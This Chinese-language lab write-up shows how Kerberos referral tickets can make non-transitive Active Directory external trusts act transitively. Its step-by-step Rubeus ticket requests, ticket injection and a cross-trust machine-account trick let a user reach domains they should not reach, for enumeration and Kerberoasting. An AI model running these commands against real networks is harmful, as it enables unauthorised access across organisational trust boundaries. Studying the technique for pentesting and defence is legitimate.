在Windows活动目录环境,存在森林信任(forest trust)和外部信任(external trust)。森林信任是两个森林之间的信任,更准确地说是两个森林根域(root domain)之间的传递性(transitive)信任。即如果我们在森林A和森林B之间建立森林信任,这也将在这两个森林的子域(如果有的话)之间有效。但是对于外部信任,则是非传递性的,即信任只在有信任关系的两个域之间有效。下图为配置外部非传递性信任的信息:
微软对信任传递性描述如下:
Transitivity determines whether a trust can be extended outside of the two domains with which it was formed.
A transitive trust can be used to extend trust relationships with other domains.
A non-transitive trust can be used to deny trust relationships with other domains.
2023/03/14 ,国外研究人员发表了一篇博客,介绍通过利用Kerberos票据,可以在一个森林中,突破外部信任的非传递性,访问其他森林或者域内的信息。
下文将对具体的原理及利用过程进行介绍。
为了演示这个问题,我们需要几个配置了外部信任的多域森林。具体lab环境如下:
域corp1.cn和corp3.tw信任关系为双向的非传递性外部信任:
域grandchild.child.corp1.cn和corp2.hk也存在双向的非传递性信任:
大家在阅读后续内容时,可能需要随时参考上面的lab拓扑和信任关系的配置信息。
Kerberos跨信任认证到一个服务主要是利用一个referral(或者referral TGT)。这个票据是从本地域控为外部域请求的。跨信任认证的最简单的例子是向一个与本地域有直接信任关系的域的服务进行认证,比如grandchild.child.corp1.cn和child.corp1.cn之间。
下面我们以grandchild.child.corp1.cn域内普通域用户权限进行操作,演示整个认证过程。首先使用Rubeus手动请求一个初始(initial)TGT:
Rubeus.exe asktgt /user:cxh /password:Passw0rd! /nowrap
在有了初始TGT后,为了给grandchild.child.corp1.cn域的用户请求一个child.corp1.cn域服务的票据,我们需要先获取一个child.corp1.cn域的referral:
Rubeus.exe asktgs /service:krbtgt/child.corp1.cn /dc:C1-GDC01.grandchild.child.corp1.cn /nowrap /ticket:doIFVjCCBVKgAwIBBaEDAgEWooIESTCCBEVhggRBMIIEPaADAgEFo...省略...2hpbGQuY2hpbGQuY29ycDEuY24=
如上图,是向grandchild.child.corp1.cn域的域控C1-GDC01.grandchild.child.corp1.cn发起了一个请求,请求的服务是krbtgt/CHILD.CORP1.CN,返回票据的ServiceRealm为本地域(grandchild.child.corp1.cn),表面这个票据是一个referral。
这个referral现在可以用来请求外部域(child.corp1.cn)的服务票据:
Rubeus.exe asktgs /service:host/C1-CDC01.child.corp1.cn /dc:C1-CDC01.child.corp1.cn /nowrap /ticket:doIFRzCCBUOgAwIBBaEDAgEWooIER...省略...TEQuQ09SUDEuQ04=
但是,如果想进一步访问森林根域(corp1.cn)的服务,是无法从本地域(grandchild.child.corp1.cn)请求该域(corp1.cn)的referral的。
Rubeus.exe asktgs /service:krbtgt/corp1.cn /dc:C1-GDC01.grandchild.child.corp1.cn /nowrap /ticket:doIFVjCCBVKgAwIBBaEDAgEWooI...省略...QuY29ycDEuY24=
如上图,我们从本地DC(grandchild.child.corp1.cn)请求了krbtgt/corp1.cn的referral,但是DC返回了服务krbtgt/child.corp1.cn的票据,说明这个referral是child.corp1.cn的,而不是corp1.cn的。如果我们使用这个referral请求一个corp1.cn域的服务票据,将会失败:
Rubeus.exe asktgs /service:host/C1-RDC01.corp1.cn /dc:C1-RDC01.corp1.cn /nowrap /ticket:doIFRzCCBUOgAwIBBaEDAgEWooIERTCCBEFhggQ9MIIEOaADAg...省略...BsOQ0hJTEQuQ09SUDEuQ04=
如上图,返回了KRB_AP_ERR_BAD_INTEGRITY 错误。这是因为referral ticket是使用grandchild.child.corp1.cn->child.corp1.cn信任的trust key加密的,根域corp1.cn的DC并不知道这个trust key,所以无法解密。
要请求一个根域corp1.cn的服务票据,我们首先要使用上面获取的child.corp1.cn的referral,从child.corp1.cn域的DC请求一个corp1.cn的referral:
Rubeus.exe asktgs /service:krbtgt/corp1.cn /targetdomain:child.corp1.cn /dc:C1-CDC01.child.corp1.cn /nowrap /ticket:doIFRzCCBUOgAwIBBaED...省略...OQ0hJTEQuQ09SUDEuQ04=
最后,这个referral可以用来请求corp1.cn域的服务票据:
Rubeus.exe asktgs /service:host/C1-RDC01.corp1.cn /dc:C1-RDC01.corp1.cn /nowrap /ticket:doIFJTCCBSGgAwIBBaEDAgEWooIEN...省略...CoRQwEhsGa3JidGd0GwhDT1JQMS5DTg==
如上图,我们为用户[email protected]向域控C1-RDC01.corp1.cn请求了一个服务票据host/C1-RDC01.corp1.cn。
可以使用这种为信任域(trusting domains)请求referral的方法,为信任路径所 "允许 "的任何域内的任何服务请求服务票据。
Making The Non-Transitive Transitive
上面介绍了介绍了跨信任认证的原理,下面将介绍如何利用外部信任,访问本来应该禁止访问的资源。
如lab拓扑所示,域corp2.hk和grandchild.child.corp1.cn之间有双向的外部信任,所以在有了corp2.hk域内任何用户的初始TGT后,将可以为grandchild.child.corp1.cn域请求一个referral。
这里以corp2.hk域普通域用户cxh上下文,先请求一个初始TGT:
Rubeus.exe asktgt /user:cxh /password:Passw0rd! /nowrap
然后使用上面的初始TGT,请求一个grandchild.child.corp1.cn的referral:
Rubeus.exe asktgs /service:krbtgt/grandchild.child.corp1.cn /nowrap /dc:C2-DC01.corp2.hk /ticket:doIEmDCCBJSgAwIBBaEDAgEWo...省略...3JidGd0Gwhjb3JwMi5oaw==
Rubeus.exe asktgs /service:CIFS/C1-GDC01.grandchild.child.corp1.cn /nowrap /dc:C1-GDC01.grandchild.child.corp1.cn /ticket:doIEwTCCBL2gAwIBBaEDAgE...省略...ISUxELkNPUlAxLkNO
但是如果我们尝试使用这个referral获取一个同一森林其他域的referral,比如child.corp1.cn,将会出现KDC_ERR_PATH_NOT_ACCEPTED 错误:
Rubeus.exe asktgs /service:krbtgt/child.corp1.cn /targetdomain:grandchild.child.corp1.cn /nowrap /dc:C1-GDC01.grandchild.child.corp1.cn /ticket:doIEwTCCBL2gAwIBBaEDAgEWo...省略...LkNISUxELkNPUlAxLkNO
然而,我们可以为grandchild.child.corp1.cn请求一个"local" TGT:
Rubeus.exe asktgs /service:krbtgt/grandchild.child.corp1.cn /targetdomain:grandchild.child.corp1.cn /nowrap /dc:C1-GDC01.grandchild.child.corp1.cn /ticket:doIEwTCCBL2gAwIBBaEDAgEWooID1jCCA9Jh...省略...UxELkNISUxELkNPUlAxLkNO
和之前referral的区别是,之前referral的ServiceRealm为corp2.hk,而这个"local" TGT的ServiceRealm为grandchild.child.corp1.cn。
使用这个"local" TGT,可以请求一个child.corp1.cn的referral:
Rubeus.exe asktgs /service:krbtgt/child.corp1.cn /targetdomain:grandchild.child.corp1.cn /nowrap /dc:C1-GDC01.grandchild.child.corp1.cn /ticket:doIE/DCCBPigAwIBBaED...省略...2hpbGQuY29ycDEuY24=
然后PowerView可以查询到child.corp1.cn域内信息:
上面的方法可以用来在grandchild.child.corp1.cn所在森林的任何域中进行跳跃。比如下面我们使用child.corp1.cn的referral请求一个根域的referral:
Rubeus.exe asktgs /service:krbtgt/corp1.cn /targetdomain:child.corp1.cn /dc:C1-CDC01.child.corp1.cn /nowrap /ticket:doIE5jCCBOKgAwIBBaEDAgEWooID9T...省略...lMRC5DT1JQMS5DTg==
如上图,为用户[email protected]请求了一个corp1.cn的referral,我们可以继续使用这个referral请求一个corp1.cn域控的LDAP服务的票据:
Rubeus.exe asktgs /service:LDAP/C1-RDC01.corp1.cn /nowrap /dc:C1-RDC01.corp1.cn /ticket:doIE3jCCBNqgAwIBBaEDAgEW...省略...mtyYnRndBsIQ09SUDEuQ04= /ptt
但是这个方法无法在森林以外的信任(外部信任或者森林信任)继续跳跃。如lab拓扑所示,corp1.cn和corp3.tw有双向的外部信任,但是无法使用corp1.cn的referral请求一个corp3.tw的referral:
Rubeus.exe asktgs /service:krbtgt/corp3.tw /targetdomain:corp1.cn /nowrap /dc:C1-RDC01.corp1.cn /ticket:doIE3jCCBNqgAwIBBaEDAgEW...省略...IbBmtyYnRndBsIQ09SUDEuQ04=
上面利用过程的整体思路就是从本地域的域控请求一个外部域的referral,然后用这个外部域的referral向外部的域控请求一个服务票据,并使用这个服务票据来访问外部域的服务,或者使用这个外部域的referral,进一步请求另一个外部域的referral。虽然无法直接导致权限提升,但是如果利用成功,攻击者可以在外部域以 Authenticated Users的权限执行操作,包括域信息枚举,Kerberoasting等。
虽然上面介绍的方法无法进一步跳跃,但是可以利用允许跨信任创建机器账户的机制,开辟一个新的攻击路径。
使用corp1.cn的referral,可以请求一个corp1.cn域DC上的LDAP服务的票据:
Rubeus.exe asktgs /service:ldap/C1-RDC01.corp1.cn /nowrap /dc:C1-RDC01.corp1.cn /ticket:doIE3jCCBNqgAwIBBaEDAgEW...省略...tyYnRndBsIQ09SUDEuQ04=
新创建的机器账户myComputer是corp1.cn域的本地账户。因为我们在corp1.cn域有一个机器账户,我们可以为这个账户请求一个TGT:
Rubeus.exe asktgt /user:myComputer$ /password:Passw0rd! /domain:corp1.cn /nowrap /dc:C1-RDC01.corp1.cn
这个机器账户的TGT,可以用来请求一个信任域corp3.tw的referral:
Rubeus.exe asktgs /service:krbtgt/corp3.tw /nowrap /dc:C1-RDC01.corp1.cn /ticket:doIE2DCCBNSgAwIBBaEDAgEW...省略...YnRndBsIY29ycDEuY24=
最后,为了能够访问本来无法访问的d3fend.tw域,我们首先使用上面的referral请求一个corp3.tw域的"local" TGT:
Rubeus.exe asktgs /service:krbtgt/corp3.tw /targetdomain:corp3.tw /nowrap /dc:C3-DC01.corp3.tw /ticket:doIE3zCCBNugAwIBBaEDAgEWooID/TCC...省略...0Z3QbCENPUlAzLlRX
Rubeus.exe asktgs /service:krbtgt/d3fend.tw /targetdomain:corp3.tw /nowrap /dc:C3-DC01.corp3.tw /ticket:doIE+DCCBPSgAwIBBaEDAgEW...省略...idGd0Gwhjb3JwMy50dw==
如上图,我们以用户[email protected]的身份,从域控C3-DC01.corp3.tw为d3fend.tw域请求了一个referral。有了这个referral后,我们可以请求一个访问d3fend.tw域内服务的票据。这里以LDAP服务为例。在没有服务票据之前,我们从corp2.hk域枚举d3fend.tw域的信息,会提示错误The user name or password is incorrect:
接下来,我们使用d3fend.tw的referral,请求一个d3fend.tw域控上的LDAP服务的票据,并注入到内存:
Rubeus.exe asktgs /service:LDAP/C3-D3fend.d3fend.tw /nowrap /dc:C3-d3fend.d3fend.tw /ticket:doIE6TCCBOWgAwIBBaEDAgEWo...省略...DAgrcmJ0Z3QbCUQzRkVORC5UVw== /ptt
然后使用PowerView进行枚举,可以成功跨信任查询到信息:
可以看到,如果将上面两个方法结合起来,可以跨外部信任进行多次跳跃,访问到本来应该禁止访问的信息。
如上所述,我们可以利用referral TGT机制,将外部非传递性信任变得具有传递性,从而访问本来应该禁止访问的资源。如果利用成功,我们将在外部域或者森林获得Authenticated Users权限,从而可以进一步进行枚举和权限提升。
虽然微软目前不认为这是安全问题,但也可能在后续的更新中进行修复。在实际的域环境渗透测试过程,上面介绍的方法也可以作为一个攻击路径进行测试。
https://exploit.ph/external-trusts-are-evil.html
https://social.technet.microsoft.com/wiki/contents/articles/50969.active-directory-forest-trust-attention-points.aspx
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/cc754612(v=ws.10)